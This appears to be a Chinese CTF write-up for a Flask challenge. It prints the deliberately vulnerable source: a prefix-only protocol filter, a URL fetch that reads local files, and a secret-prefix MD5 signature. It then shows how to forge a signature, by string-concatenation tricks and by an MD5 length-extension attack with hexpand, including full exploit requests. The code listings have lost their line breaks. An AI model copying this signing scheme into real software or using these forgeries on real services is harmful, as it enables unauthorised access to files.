先把题目给的代码格式化一下:
#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False#generate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST'])def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)@app.route('/De1ta', methods=['GET', 'POST'])def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')def index():return open("code.txt", "r").read()def scan(param):socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0', port=80)
梳理下流程:
首先网页从cookie和url中分别获得action、sign和param
action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))
过滤掉gopher协议和file协议
def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return False
实例化Task类,将action、param、sign等参数传入进行初始化,接着执行调用exec函数,执行scan或read
task = Task(action, param, sign, ip)task.Exec()
Exec中首先进行checkSign,根据action和param计算出sign,并和Cookie中的sign进行对比,相同则返回True
hashlib.md5(secert_key + param + action).hexdigest() == self.sign
过了checkSign后,根据传入的action,决定是scan还是read。
scan可以将想要读取的文件内容写入到results.txt中,read则可以读取results.txt的内容并返回。
if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()
- 那么首先如果要读取flag.txt,肯定是要先使用scan,那么就需要满足以下两个条件:
- md5(secert_key + flag.txt + scan)==cookie.sign
 - “scan” in param
 
 
而sign的获得程序提供了一个geneSign的页面,可以返回对应的sign,不过强制将action设置为scan。
那么就先尝试读取flag.txt:
首先生成signGET /geneSign?param=flag.txt HTTP/1.1Cookie: action=scan;返回:8fadd80c1669c2b127b3e0b142328ae7接着去读取flag.txtGET /De1ta?param=flag.txt HTTP/1.1Cookie: action=scan;sign=8fadd80c1669c2b127b3e0b142328ae7返回:{"code": 200}
这样flag.txt的内容就存在results.txt里面了,下一步就是想办法调用read。
- 要使用read,也和scan一样需要两个条件:
- md5(secert_key + flag.txt + read)==cookie.sign
 - “read” in param
 
 
secert_key的值我们不知道,geneSign因为强制action为scan,也无法获取read的sign。
解1-字符串拼接:
可以注意到,getSign中计算MD5是通过字符串拼接的方式,虽然geneSign中action无法控制,但param是可以控制的。那么只需要将param设置为flag.txtread,MD5中计算的字符串就变成:secert_keyflag.txtreadscan,这样得到sign后,action的值可以设置为readscan,从而使getSign和geneSign计算出来的sign相同。
def geneSign():param = "flag.txtread"action = "scan"return hashlib.md5(secert_key + "flag.txtread" + "scan").hexdigest()# secert_keyflag.txtreadscandef getSign(action, param):return hashlib.md5(secert_key + "flag.txt" + "readscan").hexdigest()# secert_keyflag.txtreadscan
GET /De1ta?param=flag.txt HTTP/1.1Cookie: action=readscan;sign=4e5e1c8941d4223230e96b74f98e11a1返回:{"code": 200, "data": "flag{0019ffdb-e50f-4982-93b9-72076746bf48}\n"}
解2-MD5扩展攻击:
具体原理看不懂,放一个连接:https://xz.aliyun.com/t/2563
通过工具hexpand来拿到flag:
./hexpand -t md5 -s 8fadd80c1669c2b127b3e0b142328ae7 -l 28 -m "read"Append (hex): 80000000000000000000000000000000000000000000000000000000e00000000000000072656164Signature: 6d00745ca7d27d6d012e21f7fd878977
将append的值和signature的值传入即可。
GET /De1ta?param=flag.txt HTTP/1.1Host: 15b69d78-edf7-4146-8e81-507dcb285268.node3.buuoj.cnCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=6d00745ca7d27d6d012e21f7fd878977Connection: close
